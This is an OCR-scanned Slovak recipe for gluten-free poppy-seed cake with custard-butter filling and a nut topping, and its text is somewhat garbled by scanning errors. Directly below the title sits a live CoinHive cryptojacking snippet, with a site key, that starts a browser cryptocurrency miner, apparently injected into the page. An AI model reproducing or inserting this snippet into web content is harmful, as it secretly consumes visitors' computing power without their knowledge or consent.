Makovy kolac¢

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

“Cesto: 7 vajec, 2 pohare (po 200 ml) kryStalového cukru, 6 PL teplej vody, 2 pohare
bezlepkovej muky, 2 pohare nepomletého maku, 2 balicka kypriaceho prasku

Plnka: 400 ml mlieka, 1 pohar krystalového cukru, 1 Zitok, 1 Zlaty klas, 250 g masla

Posypka: 100 g posekanych orechov, 1 PL masla, ' vanilinového cukru, 2 PL kryStalového
cukru

Postup: Cukor, Zitka a teplt vodu vymie$ame do penista, postupne pridame muiku s kypriacim
praskom, mak a sneh z bielkov. Cesto rozotrieme na plech vylozeny papierom na pecenie a
upeéieme. Vychladnuté pozdizne prekrojime. V mlieku rozmiesame Zitok, cukor a Zlaty klas a
uvarime hustu kasu. Do vychladnutej dame zmé&knuté maslo a spolu dobre vymieSame v mixeri.
V&csiu Cast plnky natrieme na jeden plat cesta, prikryjeme ju druhym a nan natrieme zvySok

pinky.

Posypka: Orechy oprazime na 1 PL masla, pridame vanilinovy cukor a krystalovy cukor. Za
staleho miesania nechame cukor rozpustit (nie skaramelizovat). Vychladnutt posypku
rovnomerne rozdelime na cely povrch kolaca.




